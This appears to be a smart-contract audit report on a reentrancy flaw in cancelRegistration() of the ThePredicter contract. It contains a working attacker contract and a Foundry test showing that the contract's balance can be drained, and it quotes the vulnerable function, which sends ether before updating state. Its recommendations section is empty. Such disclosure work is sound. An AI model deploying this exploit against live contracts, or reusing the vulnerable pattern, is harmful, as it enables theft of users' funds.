Summary
cancelRegistration() in the ThePredicter contract is vulnerable to reentrancy attacks. An attacker can exploit this vulnerability to withdraw more funds than intended by recursively calling cancelRegistration() within the fallback function.
Vulnerability Details
function testReentrancyAttackOnCancelRegistration() public {
vm.startPrank(attacker);
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(address(thePredicter));
vm.deal(attacker, 1 ether);
assertEq(address(reentrancyAttack).balance, 0 ether, "Reentrancy attack contract Before");
reentrancyAttack.attack{value: 0.04 ether}();
vm.stopPrank();
assertEq(
attacker.balance, 1 ether - 0.04 ether, "Attacker balance should be initial balance minus entrance fee"
);
assertEq(address(reentrancyAttack).balance, 1.04 ether, "Reentrancy attack contract balance After");
}
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public thePredicter;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
receive() external payable {
if (address(thePredicter).balance > 0) {
thePredicter.cancelRegistration();
}
}
function attack() external payable {
require(msg.value == 0.04 ether, "Incorrect ether amount sent");
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
}
I performed the above attack and successfully drained the contract balance using reentrancy manipulation from the cancelregistration()
Impact
An attacker can drain the contract’s funds by repeatedly calling cancelRegistration, leading to significant financial loss.
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Root Cause
call to msg.sender.call{value: entranceFee}("") allows control to be transferred to an external contract, which can recursively call cancelRegistration before playersStatus[msg.sender] is set to Status.Canceled
Tools Used
Manual review
Recommendations